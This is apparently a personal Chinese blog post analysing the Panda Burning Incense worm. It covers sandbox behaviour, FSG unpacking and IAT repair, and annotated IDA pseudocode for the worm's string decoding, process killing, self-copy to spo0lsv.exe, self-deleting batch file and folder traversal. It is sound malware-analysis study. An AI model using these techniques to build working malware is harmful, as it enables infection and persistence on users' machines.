熊猫烧香

本文最后更新于:2025年10月2日 晚上

这B考公是一点都学不下去了,所以鼠鼠决定开一个新坑,学点一直很想学的病毒分析😋

0x00.写在一切之前

早在小学的时候,鼠鼠就听信计老师讲过熊猫烧香,那时只觉得这只揣着三根香的panda莫名的喜感🤔

现在,过去的回旋镖镖到了鼠鼠,鼠鼠也有能力和兴趣好好分析一下惹!

0x01.基本信息

样本报告-微步在线云沙箱

0x02.运行下试试欸😋

环境:win7 32位

具体表现

1、大部分.exe文件图标变成熊猫烧香

2、被感染的文件夹下出现Desktop_.ini文件,里面记录当前日期

3、打开任务管理器自动关闭

4、打开PChunter,发现可疑进程

5、发现可疑启动项

6、存在异常网络连接

内网都是139端口,这些外网ip抓包看了看发现都是雅虎、搜狐、google这类浏览器的ip

行为分析

开火绒安全分析,开始监控

1、写入和修改文件

xiongmao.exe先在C:\Windows\System32\drivers\下生成可疑文件spo0lsv.exe

到处生成Desktop_.ini

在C盘根目录下生成setup.exe和autorun.inf

autorun.inf里的内容,指定自动启动的文件是C:\setup.exe

然后就是到处改.exe文件

其中FILE_modified操作我怀疑是文件隐藏之类的,because新创建的文件没一个直接显示的

2、注册表&启动项

修改自启动项,查看注册表,可以看到确实是被改成了恶意程序

修改文件夹属性使其不显示隐藏文件(1:不显示隐藏文件;2:显示;0:数据损坏,无法显示)

对IE浏览器的一些配置进行修改

网络设置

看下来,大部分都是自启动和隐藏操作

3、进程监控

存在大量查找窗口,怀疑是在检测任务管理器

枚举进程,估计是查杀软🤔?

别的跨进程读写、快内存读写都挺常规的好像

4、网络行为

先内网的139端口连一圈,然后访问一些常见网站

5、特殊行为

尼玛6.0的火绒剑用的属实不爽,换了一个5.0的

但是5.0的火绒剑开启监控后,一运行熊猫烧香就崩,单独离线版啥的都试了,没啥效果

刚开始怀疑是查找窗口或者是进程枚举把HRSword.exe给杀了🤔

后来一想不是哥们你07年的病毒杀火绒🗡,尊嘟假嘟

等会调试的时候看看

主要是少了这些恶意行为分析,很可惜

0x03.样本提取

点击运行,把释放在C:\Windows\System32\drivers\spo0lsv.exe提出来

查壳

DIE看眼先

都是一些基本信息

FSG2.0:简单来说就是文件里包含一个运行时“壳”程序,启动时先执行壳。壳负责在程序加载后解压(或解密)被压缩的代码到内存。当解压完成后,壳会跳转到程序的真实入口点(OEP,Original Entry Point),程序继续正常执行。

FSG2.0的壳的话,那就直接OD启动,动调着来脱了

脱壳

一般FSG2.0先看有无pushad; popad这些特征汇编

可惜本样本并没有

那就直接追着esp来好了,在push ebp后面直接下断点

单步步进下去,存在stos的话就代表存在解密&字节复制操作

继续单步,4001c6,获取模块基址;4001d6,获取函数基址,4001d9,填充IAT(导入地址表,类似elf中的got表个人感觉🤔)

这边三个跳转一般就意味着解压快结束了(oep一般存放在寄存器里),在4001d1完成跳转

这个就正常多了,用插件dump出来

修复IAT

使用ImportRec修复IAT

指定好OEP,感觉函数数量不对,循环了几十遍是有得,怎么才3个函数

查看IAT表,发现用0x7fffffff把模块隔开了👊

改成0后重新修复,选择刚才dump出来的文件修复

再次用DIE查看,发现壳已经去掉了

0x04.静态&动态分析

ida打开,sig选择这个,可以识别出几个Delphi函数

查看程序入口start

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
void __noreturn start()
{
char v0; // zf
int v1; // eax
int v2; // eax
int v3; // eax
int v4; // eax
unsigned int v5[5]; // [esp-Ch] [ebp-2Ch] BYREF
int v6; // [esp+8h] [ebp-18h]
_DWORD v7[5]; // [esp+Ch] [ebp-14h]
int savedregs; // [esp+20h] [ebp+0h] BYREF

v6 = 0;
v7[0] = 0;
Sysinit::__linkproc__ InitExe(dword_40D1C8);
v5[2] = (unsigned int)&savedregs;
v5[1] = (unsigned int)&loc_40D669;
v5[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
__writefsdword(0, (unsigned int)v5);
dword_40F7E8[0] = dword_40D678;
dword_40F7E8[1] = dword_40D67C;
LOWORD(dword_40F7E8[2]) = word_40D680; // 设置SEH,win保护机制
BYTE2(dword_40F7E8[2]) = byte_40D682;
System::__linkproc__ LStrAsg(&dword_40F7DC, dword_40D68C);// 连接
System::__linkproc__ LStrAsg(&dword_40F7E0, dword_40D6B0);
System::__linkproc__ LStrAsg(&dword_40F7E4, dword_40D6D0);
System::__linkproc__ LStrAsg(&dword_40F7DC, dword_40D700);
System::__linkproc__ LStrAsg(&dword_40F7E0, dword_40D710);
System::__linkproc__ LStrAsg(&dword_40F7E4, dword_40D720);
dword_40F7E8[1] = dword_40D72C; // 一堆全局/常量复制与字符串赋值
LOWORD(dword_40F7E8[2]) = word_40D730;
BYTE2(dword_40F7E8[2]) = byte_40D732;
dword_40F7E8[1] = dword_40D738;
LOWORD(dword_40F7E8[2]) = word_40D73C;
BYTE2(dword_40F7E8[2]) = byte_40D73E;
dword_40F7E8[1] = dword_40D744;
LOWORD(dword_40F7E8[2]) = word_40D748;
BYTE2(dword_40F7E8[2]) = byte_40D74A;
dword_40F7E8[0] = dword_40D74C;
dword_40F7E8[1] = dword_40D750;
LOWORD(dword_40F7E8[2]) = word_40D754;
BYTE2(dword_40F7E8[2]) = byte_40D756;
System::__linkproc__ LStrAsg(&dword_40F7E4, dword_40D760);
dword_40F7E8[1] = dword_40D76C;
LOWORD(dword_40F7E8[2]) = word_40D770;
BYTE2(dword_40F7E8[2]) = byte_40D772;
dword_40F7E8[0] = dword_40D774;
dword_40F7E8[1] = dword_40D778;
LOWORD(dword_40F7E8[2]) = word_40D77C;
BYTE2(dword_40F7E8[2]) = byte_40D77E;
System::__linkproc__ LStrAsg(&dword_40F7E4, dword_40D788);
dword_40F7E8[1] = dword_40D794;
LOWORD(dword_40F7E8[2]) = word_40D798;
BYTE2(dword_40F7E8[2]) = byte_40D79A;
dword_40F7E8[1] = dword_40D7A0;
LOWORD(dword_40F7E8[2]) = word_40D7A4;
BYTE2(dword_40F7E8[2]) = byte_40D7A6;
dword_40F7E8[1] = dword_40D7AC;
LOWORD(dword_40F7E8[2]) = word_40D7B0;
BYTE2(dword_40F7E8[2]) = byte_40D7B2;
dword_40F7E8[0] = dword_40D7B4;
dword_40F7E8[1] = dword_40D7B8;
LOWORD(dword_40F7E8[2]) = word_40D7BC;
BYTE2(dword_40F7E8[2]) = byte_40D7BE;
System::__linkproc__ LStrAsg(&dword_40F7E4, dword_40D7C8);
dword_40F7E8[1] = dword_40D7D4;
LOWORD(dword_40F7E8[2]) = word_40D7D8;
BYTE2(dword_40F7E8[2]) = byte_40D7DA;
dword_40F7E8[1] = dword_40D7E0;
LOWORD(dword_40F7E8[2]) = word_40D7E4;
BYTE2(dword_40F7E8[2]) = byte_40D7E6;
dword_40F7E8[1] = dword_40D7EC;
LOWORD(dword_40F7E8[2]) = word_40D7F0;
BYTE2(dword_40F7E8[2]) = byte_40D7F2;
dword_40F7E8[1] = dword_40D7F8;
LOWORD(dword_40F7E8[2]) = word_40D7FC;
BYTE2(dword_40F7E8[2]) = byte_40D7FE;
dword_40F7E8[1] = dword_40D804;
LOWORD(dword_40F7E8[2]) = word_40D808;
BYTE2(dword_40F7E8[2]) = byte_40D80A;
dword_40F7E8[0] = dword_40D80C;
dword_40F7E8[1] = dword_40D810;
LOWORD(dword_40F7E8[2]) = word_40D814;
BYTE2(dword_40F7E8[2]) = byte_40D816;
System::__linkproc__ LStrAsg(&dword_40F7E4, dword_40D820);// 连接
System::__linkproc__ LStrAsg(&dword_40F7D4, dword_40D830);
System::__linkproc__ LStrAsg(&dword_40F7D8, dword_40D85C);
sub_405250(dword_40D8A0, aXboy_0); // "xboy"
System::__linkproc__ LStrCmp(dword_40F7D4, v7[0]); //验证?
if ( !v0 )
ExitProcess_0(0);
sub_405250(&unk_40D8DC, aWhboy_0); // "whboy"
v1 = System::__linkproc__ LStrCmp(dword_40D908, v6);//验证?
if ( !v0 )
ExitProcess_0(0);
v2 = sub_40819C(v1); // 主程序1
v3 = sub_40D18C(v2);
sub_40D088(v3);
while ( GetMessageA(&Msg, 0, 0, 0) ) // windwos消息循环
DispatchMessageA(&Msg);
__writefsdword(0, v5[0]);
v4 = System::__linkproc__ LStrArrayClr(&loc_40D670);
System::__linkproc__ Halt0(v4);
}

这边比较明显的就是 “xboy”和”whboy”(武汉boy ?)两个字符串的验证

od里跟着调一下,感觉像405250像是个解密func,同时栈里面也出现了敏感信息

405250点进去一个异或贴脸,那decode是跑不了了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
......
if ( v3 > 0 )
{
v4 = 1;
do
{
v6 = unknown_libname_75(v10);
unknown_libname_70(&v9, *(unsigned __int8 *)(v14 + v4 - 1) ^ (*(unsigned __int8 *)(v10 + v4 % v6) % 0xAu));
System::__linkproc__ LStrCat(&v11, v9);
++v4;
--v3;
}
while ( v3 );
}
......

sub_40819c

首先进入主函数1,把几个自命名的函数先说一下

sub_4053ac

此函数的返回值为固定返回C:\Windows\System32,故重命名为 GetSystemDirectory

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall GetSystemDirectory(int *a1)
{
int result; // eax
CHAR Buffer[268]; // [esp+0h] [ebp-10Ch] BYREF

GetSystemDirectoryA(Buffer, 0x104u);
unknown_libname_112(a1, Buffer, 261);
result = unknown_libname_113(*a1);
if ( *(_BYTE *)(*a1 + result - 1) != '\\' )
return System::__linkproc__ LStrCat(a1, &dword_405400);
return result;
}

sub_405fc4

此函数的功能为kill指定进程,故重命名为VirusKiller

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
_DWORD *__fastcall VirusKiller(int a1)
{
_DWORD *v1; // ebx
void *hObject; // esi
bool i; // al
char v4; // zf
int v6; // [esp-10h] [ebp-158h]
unsigned int v7[5]; // [esp-Ch] [ebp-154h] BYREF
int v8; // [esp+8h] [ebp-140h] BYREF
int v9; // [esp+Ch] [ebp-13Ch] BYREF
int v10; // [esp+10h] [ebp-138h] BYREF
int v11; // [esp+14h] [ebp-134h] BYREF
int v12; // [esp+18h] [ebp-130h] BYREF
_DWORD v13[9]; // [esp+1Ch] [ebp-12Ch] BYREF
int v14; // [esp+40h] [ebp-108h] BYREF
int v15; // [esp+144h] [ebp-4h] BYREF
int savedregs; // [esp+148h] [ebp+0h] BYREF

v12 = 0;
v10 = 0;
v9 = 0;
v8 = 0;
v11 = 0;
v15 = a1;
System::__linkproc__ LStrAddRef(a1);
v1 = v13;
v7[2] = (unsigned int)&savedregs;
v7[1] = (unsigned int)&loc_4060F6;
v7[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
__writefsdword(0, (unsigned int)v7);
hObject = (void *)unknown_libname_114(2, 0);
v13[0] = 296;
for ( i = unknown_libname_115(hObject, v13) != 0; i; i = unknown_libname_116(hObject, v13) != 0 )
{
unknown_libname_93(v15, &v11);
sub_405E98(v11, &v12);
v6 = v12;
unknown_libname_112(&v8, &v14, 260);
unknown_libname_93(v8, &v9);
sub_405E98(v9, &v10);
System::__linkproc__ LStrCmp(v6, v10);
if ( v4 )
{
v1 = (_DWORD *)sub_405FA4(v13[2]);
CloseHandle_0(hObject);
goto LABEL_7;
}
}
CloseHandle_0(hObject);
LOBYTE(v1) = 1;
LABEL_7:
__writefsdword(0, v7[0]);
System::__linkproc__ LStrArrayClr(&loc_4060FD);
System::__linkproc__ LStrClr(&v15);
return v1;
}

sub_407B68

此函数的功能为写入bat批处理文件的操作以及启动未被感染的程序,故将名称变更为writebatfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
int writebatfile()
{
int v0; // eax
int v1; // eax
int _:try1_; // eax
int v3; // eax
int v4; // eax
int v5; // eax
int v6; // eax
int v7; // eax
int v8; // eax
int v9; // eax
int v10; // eax
int v11; // eax
int v12; // eax
int v13; // eax
int _:try2_; // eax
int v15; // eax
int _del_%0_; // eax
int v17; // eax
int v18; // eax
const CHAR *lpCmdLine; // eax
char *ExceptionList; // [esp-Ch] [ebp-214h] BYREF
void *v22; // [esp-8h] [ebp-210h]
int *v23; // [esp-4h] [ebp-20Ch]
int v24; // [esp+4h] [ebp-204h] BYREF
int v25[2]; // [esp+Ch] [ebp-1FCh] BYREF
int v26; // [esp+14h] [ebp-1F4h] BYREF
int v27; // [esp+1Ch] [ebp-1ECh] BYREF
int v28; // [esp+24h] [ebp-1E4h] BYREF
int v29; // [esp+2Ch] [ebp-1DCh] BYREF
int v30; // [esp+30h] [ebp-1D8h] BYREF
int v31; // [esp+34h] [ebp-1D4h] BYREF
_BYTE v32[460]; // [esp+38h] [ebp-1D0h] BYREF
int v33; // [esp+204h] [ebp-4h] BYREF
int savedregs; // [esp+208h] [ebp+0h] BYREF

v23 = &savedregs;
v22 = &loc_407E31;
ExceptionList = (char *)NtCurrentTeb()->NtTib.ExceptionList;
__writefsdword(0, (unsigned int)&ExceptionList);
System::Randomize();
GetTempDir(&v31); // 临时路径——C:\Users\ADMINI~1\AppData\Local\Temp\
v0 = unknown_libname_39(100);
sub_40576C(v0, &v30);
System::__linkproc__ LStrCatN(&v33, 3); // 路径拼接"C:\Users\ADMINI~1\AppData\Local\Temp\$$.bat"
System::__linkproc__ Assign(v32, v33); // 连接
*off_40E2BC = 2;
v1 = System::__linkproc__ RewritText(v32); // 写入模式打开,准备写入
System::__linkproc__ _IOTest(v1);
_:try1_ = System::__linkproc__ WriteLString((int)v32, (int)aTry1);// ":try1"
v3 = System::__linkproc__ WriteLn(_:try1_);
System::__linkproc__ _IOTest(v3);
ExceptionList = aDel; // "del \""
System::ParamStr(0);
System::__linkproc__ LStrCatN(&v29, 3); // 获取本程序路径
v4 = System::__linkproc__ WriteLString((int)v32, v29);
v5 = System::__linkproc__ WriteLn(v4);
System::__linkproc__ _IOTest(v5);
ExceptionList = aIfExist; // "if exist \""
System::ParamStr(0);
System::__linkproc__ LStrCatN(&v28, 4); // 获取本程序路径
v6 = System::__linkproc__ WriteLString((int)v32, v28);
v7 = System::__linkproc__ WriteLn(v6);
System::__linkproc__ _IOTest(v7);
ExceptionList = aRen; // "ren \""
System::ParamStr(0);
System::ParamStr(0);
sub_405534(v25[1], &v26);
System::__linkproc__ LStrCatN(&v27, 8);
v8 = System::__linkproc__ WriteLString((int)v32, v27);
v9 = System::__linkproc__ WriteLn(v8);
System::__linkproc__ _IOTest(v9);
ExceptionList = aIfExist; // "if exist \""
System::ParamStr(0);
System::__linkproc__ LStrCatN(v25, 5);
v10 = System::__linkproc__ WriteLString((int)v32, v25[0]);
v11 = System::__linkproc__ WriteLn(v10);
System::__linkproc__ _IOTest(v11);
ExceptionList = (char *)::ExceptionList;
System::ParamStr(0);
System::__linkproc__ LStrCatN(&v24, 3);
v12 = System::__linkproc__ WriteLString((int)v32, v24);
v13 = System::__linkproc__ WriteLn(v12);
System::__linkproc__ _IOTest(v13);
_:try2_ = System::__linkproc__ WriteLString((int)v32, (int)aTry2);// ":try2"
v15 = System::__linkproc__ WriteLn(_:try2_);
System::__linkproc__ _IOTest(v15);
_del_%0_ = System::__linkproc__ WriteLString((int)v32, (int)aDel0);// "del %0"
v17 = System::__linkproc__ WriteLn(_del_%0_);
System::__linkproc__ _IOTest(v17);
v18 = System::__linkproc__ Close(v32);
System::__linkproc__ _IOTest(v18);
ExceptionList = 0;
lpCmdLine = (const CHAR *)System::__linkproc__ LStrToPChar(v33);
WinExec(lpCmdLine, (UINT)ExceptionList); // 运行bat文件
__writefsdword(0, (unsigned int)v22);
System::__linkproc__ LStrArrayClr(&loc_407E38);
return System::__linkproc__ LStrClr(&v33);
}

具体流程

于当前目录下生成Desktop_.ini,生成C:\Windows\System32\drivers\spo0lsv.exe(如果本身为C:\Windows\System32\drivers\spo0lsv.exe,则跳过)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
v35 = &savedregs;
v34[1] = (unsigned int)&loc_408781;
v34[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;// 设置SEH
__writefsdword(0, (unsigned int)v34);
System::ParamStr(0); // 在 Delphi / Borland C++ 这类环境里,ParamStr(0) 是一个函数调用,作用是获取 程序的命令行参数。
//
// ParamStr(N) 用来获取第 N 个命令行参数:
//
// ParamStr(0) 返回 当前程序自身的完整路径(可执行文件名)。
//
// ParamStr(1) 返回 第 1 个命令行参数(如果有)。
//
// ParamStr(2) 返回第 2 个参数,以此类推。
unknown_libname_89(v55[1], &System::AnsiString);
System::__linkproc__ LStrCat(&System::AnsiString, aDesktopIni);// "Desktop_.ini"
if ( (unsigned __int8)Sysutils::FileExists(System::AnsiString) )// 检查当前文件夹下是否存在Desktop_.ini
{
System::ParamStr(0);
unknown_libname_89(v54[1], v55);
System::__linkproc__ LStrCat(v55, aDesktopIni);// "Desktop_.ini"
lpFileName = (const CHAR *)System::__linkproc__ LStrToPChar(v55[0]);
SetFileAttributesA(lpFileName, 0x80u); // 将文件属性设置成FILE_ATTRIBUTE_NORMAL
Sleep(1u);
System::ParamStr(0);
unknown_libname_89(v53[2], v54);
System::__linkproc__ LStrCat(v54, aDesktopIni);// "Desktop_.ini"
lpFileName_1 = (const CHAR *)System::__linkproc__ LStrToPChar(v54[0]);
DeleteFileA(lpFileName_1); // 删除当前文件夹下的Desktop_.ini
}
System::ParamStr(0);
sub_407650(v53[1], &v64, a1, a2, p_Msg); // 读取一参的文件,存放在二参指向的地址中
System::__linkproc__ LStrClr(&v63);
for ( i = unknown_libname_113(v64); i > 0 && *(_BYTE *)(v64 + i - 1); --i )// unknown_libname_113()像是strlen的样子
{
unknown_libname_108((int)v53);
System::__linkproc__ LStrCat3(&v63, v53[0], v63);
}
if ( !v63 ) // 如果v63为空,择进入if分支,前面对v63进行了什么操作实在没看出来艹
{
System::ParamStr(0);
Sysutils::AnsiUpperCase(v52[2]); // 字符变大写
n128 = v52[3];
GetSystemDirectory((int *)&v51); // 获取C:\Windows\System32\系统路径
v32 = v51;
ExceptionList = (struct _EXCEPTION_REGISTRATION_RECORD *)aDrivers;// "drivers\\"
spo0lsv.exe = spo0lsv_exe; // "spo0lsv.exe"
System::__linkproc__ LStrCatN(v52, 3); // 拼接生成病毒路径C:\Windows\System32\drivers\spo0lsv.exe
Sysutils::AnsiUpperCase(v52[0]); // 病毒路径转大写
System::__linkproc__ LStrCmp(n128, v52[1]); // 比较病毒生成路径和程序运行路径是否相等,不一致时于系统目录创建样本
if ( !v6 )
{
VirusKiller((int)spo0lsv_exe); // kill掉"spo0lsv.exe"进程
VirusKiller((int)spo0lsv_exe); // "spo0lsv.exe"
n128 = 128;
GetSystemDirectory((int *)&v49); // 获取C:\Windows\System32\系统路径
v32 = v49;
ExceptionList = (struct _EXCEPTION_REGISTRATION_RECORD *)aDrivers;// "drivers\\"
System::__linkproc__ LStrCatN(&v50, 3); // 拼接生成病毒路径C:\Windows\System32\drivers\spo0lsv.exe
n5 = (const CHAR *)System::__linkproc__ LStrToPChar(v50);// 字符串类型转换
SetFileAttributesA(n5, (DWORD)spo0lsv_exe);// "spo0lsv.exe"
Sleep(1u); // 休眠
spo0lsv.exe = 0;
GetSystemDirectory(&n9); // 获取C:\Windows\System32\系统路径
n10 = n9;
drivers__ = aDrivers; // "drivers\\"
System::__linkproc__ LStrCatN(&v48, 3); // 拼接生成病毒路径C:\Windows\System32\drivers\spo0lsv.exe
n1 = (const CHAR *)System::__linkproc__ LStrToPChar(v48);// 字符串类型转换
System::ParamStr(0);
n2 = (const CHAR *)System::__linkproc__ LStrToPChar(v46[1]);// 程序执行路径字符串类型转换
CopyFileA(n2, n1, (BOOL)spo0lsv_exe); // 把病毒程序从运行路径复制为C:\Windows\System32\drivers\
// spo0lsv.exe,并设置FailIfExists=false,即如果目标文件存在则覆盖
ExceptionList_1 = 1;
GetSystemDirectory(&v45); // 获取C:\Windows\System32\系统路径
System::__linkproc__ LStrCatN(v46, 3); // 拼接生成病毒路径C:\Windows\System32\drivers\spo0lsv.exe
n3 = (const CHAR *)System::__linkproc__ LStrToPChar(v46[0]);// 字符串类型转换
WinExec(n3, (UINT)spo0lsv_exe); // 运行C:\Windows\System32\drivers\spo0lsv.exe
ExitProcess_0(0); // 结束进程
}
}

若运行程序为源病毒程序,删除源病毒程序,重新生成C:\Windows\System32\drivers\spo0lsv.exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
if ( !(unsigned __int8)sub_405458(spo0lsv_exe) )// 判断当前进程是否是源病毒,如果是,则进入
{
n128 = 128;
GetSystemDirectory((int *)&v42); // 获取C:\Windows\System32\系统路径
v32 = v42;
ExceptionList = (struct _EXCEPTION_REGISTRATION_RECORD *)aDrivers;// "drivers\\"
System::__linkproc__ LStrCatN(&v43, 3);
lpFileName_2 = (const CHAR *)System::__linkproc__ LStrToPChar(v43);
SetFileAttributesA(lpFileName_2, (DWORD)spo0lsv_exe);// 设置spo0lsv.exe属性
Sleep(1u); // 休眠
GetSystemDirectory((int *)&uCmdShow); // 获取C:\Windows\System32\系统路径
spo0lsv.exe = (char *)uCmdShow;
System::__linkproc__ LStrCatN(&v41, 3); // 拼接生成病毒路径C:\Windows\System32\drivers\spo0lsv.exe
lpFileName_3 = (const CHAR *)System::__linkproc__ LStrToPChar(v41);// 格式转换
DeleteFileA(lpFileName_3); // 删除源病毒
n14 = unknown_libname_113(v64); // 获取源病毒大小
System::__linkproc__ LStrDelete(&v64, n14 - v59, v59);
n10 = unknown_libname_113(v64); // 获取源病毒大小
v19 = unknown_libname_113(v64);
System::__linkproc__ LStrDelete(&v64, v19, n10);
System::__linkproc__ LStrLAsg(&v61, v64); // 获取字符串信息
n10 = (int)&savedregs;
drivers__ = (char *)&loc_408730;
ExceptionList_1 = (int)NtCurrentTeb()->NtTib.ExceptionList;
__writefsdword(0, (unsigned int)&ExceptionList_1);
GetSystemDirectory(&v38); // 获取C:\Windows\System32\系统路径
System::__linkproc__ LStrCatN(&v39, 3); // 拼接生成病毒路径C:\Windows\System32\drivers\spo0lsv.exe
System::__linkproc__ Assign(v57, v39);
*off_40E2BC = 2;
n15 = System::__linkproc__ RewritText(v57);// 以写入模式打开C:\Windows\System32\drivers\spo0lsv.exe
System::__linkproc__ _IOTest(n15);
n16 = System::__linkproc__ WriteLString((int)v57, v61);// 以附加模式写入
v22 = System::__linkproc__ Flush(n16);
System::__linkproc__ _IOTest(v22);
v23 = System::__linkproc__ Close(v57);
System::__linkproc__ _IOTest(v23);
n10 = 1;
GetSystemDirectory((int *)&drivers___1); // 获取C:\Windows\System32\系统路径
drivers__ = drivers___1;
ExceptionList_1 = (int)aDrivers; // "drivers\\"
System::__linkproc__ LStrCatN(&v37, 3); // 拼接生成病毒路径C:\Windows\System32\drivers\spo0lsv.exe
n4 = (const CHAR *)System::__linkproc__ LStrToPChar(v37);// 字符串类型转换
WinExec(n4, (UINT)spo0lsv.exe); // 运行病毒程序
__writefsdword(0, (unsigned int)ExceptionList);
}
ExitProcess_0(0); // 退出

若运行程序为被感染程序,将源文件从被感染的文件中提取出来并覆写被感染的文件。于临时目录生成bat批处理文件,删除被感染的文件,直接结束进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
n11 = unknown_libname_113((int)v63);          // 如果运行的是被感染的程序,并非源病毒程序,走这个分支
System::__linkproc__ LStrDelete(&v64, i, n11);// 删除字符
if ( (int)__linkproc__ LStrPos(dword_4087D8, v63) > 0 )// 查找字符串
{
__linkproc__ LStrPos(dword_4087D8, v63); // 查找字符串
System::__linkproc__ LStrCopy(&v60); // 把被感染的程序名的字符串拷贝,具体是Whboy+程序名
System::__linkproc__ LStrDelete(&v60, 1, 5);// 删除拷贝中的Whboy
__linkproc__ LStrPos(&dword_4087E4, v60); // 查找字符串
System::__linkproc__ LStrCopy(&v62); // 把去除了Whboy前缀的字符串拷贝回来
n6 = __linkproc__ LStrPos(&dword_4087E4, v60);// 查找字符串信息
System::__linkproc__ LStrDelete(&v60, 1, n6);// 删除字符串信息
v59 = unknown_libname_91(v60);
n128 = (int)&savedregs;
v32 = &loc_40857A;
ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;// 临时异常记录
__writefsdword(0, (unsigned int)&ExceptionList);
System::__linkproc__ Assign(v58, v62); // 绑定目标文件路径
*off_40E2BC = 2;
n7 = System::__linkproc__ RewritText(v58); // 以写入模式打开当前文件
System::__linkproc__ _IOTest(n7); // 测试IO功能
unknown_libname_113(v64); // 读取被感染病毒文件的大小
System::__linkproc__ LStrCopy(&v44); // 将源文件从被感染的文件中提取出来
n12 = System::__linkproc__ WriteLString((int)v58, v44);// 以附加方式写入,使被感染的文件被刷新成未被感染的文件
n13 = System::__linkproc__ Flush(n12); // 刷新缓冲区
System::__linkproc__ _IOTest(n13);
v15 = System::__linkproc__ Close(v58);
System::__linkproc__ _IOTest(v15);
__writefsdword(0, (unsigned int)ExceptionList);
writebatfile(); // 生成bat文件并运行,删除旧文件,直接跳到下面结束进程

sub_0x40d18c

sub_40a5b0

创建了多线程

进去一看,是个循环遍历的操作

sub_409348

好家伙,进去一看全是各种文件夹字符串

定位到核心代码段,所以可得此处功能为遍历目录,创建Desktop_.ini

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
      System::__linkproc__ LStrCatN(v94, 3);
if ( !(unsigned __int8)Sysutils::FileExists(v94[0]) )// 当前目录下是否存在Desktop_.ini,若不存在
{
n128_3 = 128;
System::AnsiString_1 = n128_1;
ExceptionList = (struct _EXCEPTION_REGISTRATION_RECORD *)System::AnsiString;
__Desktop_.ini = (int *)aDesktopIni_1; // "\\Desktop_.ini"
System::__linkproc__ LStrCatN(&v82, 3); // 路径拼接
lpFileName = (const CHAR *)System::__linkproc__ LStrToPChar(v82);
SetFileAttributesA(lpFileName, (DWORD)ExceptionList);// 设置属性
Sleep(1u);
GetLocalTime(&SystemTime); // 获取当前时间
sub_40576C(SystemTime.wYear, (int)&ExceptionList_2);// 年
ExceptionList = ExceptionList_2;
__Desktop_.ini = _Desktop__ini;
sub_40576C(SystemTime.wMonth, (int)&__Desktop_.ini_3);// 月
__Desktop_.ini_2 = __Desktop_.ini_3;
ExceptionList_1 = (struct _EXCEPTION_REGISTRATION_RECORD *)_Desktop__ini;
sub_40576C(SystemTime.wDay, (int)&dwFileAttributes_3);// 日
dwFileAttributes_1 = dwFileAttributes_3;
System::__linkproc__ LStrCatN(&v101, 5);
System::__linkproc__ LStrCatN(&v78, 3);
Mxdsql::ShowSQLWindow(v101, v78); // 创建并写入日期
System::__linkproc__ LStrCatN(&v77, 3);
lpFileName_1 = (const CHAR *)System::__linkproc__ LStrToPChar(v77);
SetFileAttributesA(lpFileName_1, dwFileAttributes_1);// 设置文件属性
Sleep(1u);
LABEL_32:
System::__linkproc__ LStrCat3(&n128, n128_1, System::AnsiString);
sub_409348(n128, a2, a3, a4); // 自循环
LABEL_59:
Sleep(0x14u);
goto LABEL_60;
} // 此处是存在Desktop_.ini,把其时间读取,与当前时间比对,若不相等,写入当前时间
n128_3 = (int)n128_1;
System::AnsiString_1 = (char *)System::AnsiString;
ExceptionList = (struct _EXCEPTION_REGISTRATION_RECORD *)aDesktopIni_1;// "\\Desktop_.ini"
System::__linkproc__ LStrCatN(&v93, 3);
sub_407650(v93, &v102, a2, a3, a4);
GetLocalTime(&SystemTime);
sub_40576C(SystemTime.wYear, (int)&System::AnsiString_2);
System::AnsiString_1 = System::AnsiString_2;
ExceptionList = (struct _EXCEPTION_REGISTRATION_RECORD *)_Desktop__ini;// 获取时间
sub_40576C(SystemTime.wMonth, (int)&__Desktop_.ini_1);
__Desktop_.ini = __Desktop_.ini_1;
__Desktop_.ini_2 = _Desktop__ini;
sub_40576C(SystemTime.wDay, (int)&ExceptionList_3);
ExceptionList_1 = ExceptionList_3;
System::__linkproc__ LStrCatN(&v101, 5);
System::__linkproc__ LStrCmp(v102, v101);
if ( !v5 )
{
System::__linkproc__ LStrCatN(&v88, 3);
lpFileName_2 = (const CHAR *)System::__linkproc__ LStrToPChar(v88);
SetFileAttributesA(lpFileName_2, 0x80u);
Sleep(1u);
GetLocalTime(&SystemTime);
sub_40576C(SystemTime.wYear, (int)&dwFileAttributes);
dwFileAttributes_2 = dwFileAttributes;
sub_40576C(SystemTime.wMonth, (int)&v86);
sub_40576C(SystemTime.wDay, (int)&v85);
System::__linkproc__ LStrCatN(&v101, 5);
System::__linkproc__ LStrCatN(&v84, 3);
